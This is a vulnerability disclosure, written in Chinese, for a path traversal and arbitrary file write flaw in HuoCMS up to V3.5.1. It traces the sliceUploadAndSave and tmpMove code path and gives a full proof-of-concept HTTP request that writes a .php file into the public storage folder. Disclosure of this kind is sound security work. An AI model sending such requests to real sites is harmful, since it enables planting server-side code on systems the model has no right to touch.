yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
Upload.php
HuoCMS - <=V3.5.1
在 AttachmentController.php(位于 app -> controller -> backend 下)的 sliceUploadAndSave 方法中,resource_type 参数会根据允许的文件扩展名白名单(例如 txt、png 等)进行校验。随后,该方法调用 Upload.php(位于 app -> service -> upload 下)中的 tmpMove。
tmpMove 方法首先创建一个文件。然而,$filename 参数(由用户可控的 resource_temp_path 输入参数控制)可被利用进行目录遍历(例如使用 ../)来创建文件夹。该方法随后执行移动操作,将文件放入所创建的目录中。最终文件名通过追加下划线和 $pos 后缀生成,其中 $pos 由调用时传入的 chunk_index 参数控制(详情请参考实际参数传递方式)。
这造成了一个漏洞,攻击者可以操纵 resource_temp_path 和 chunk_index 将文件写入任意位置并控制文件名。
详情:
app >controller >backend > AttachmentController.php:sliceUploadAndSave

app >service >upload > Upload.php:tmpMove

该漏洞属于后台问题,需要登录后台并携带 token 才能调用。请自行搭建并登录。
POC:
POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"
../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"
txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"
11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--

访问 URL:
http://127.0.0.1/storage/image/20250415/%5f%5f.php

http://huocms.com https://github.com/yggcwhat/CVE-2025-46078/edit/main/README.md https://www.huocms.com/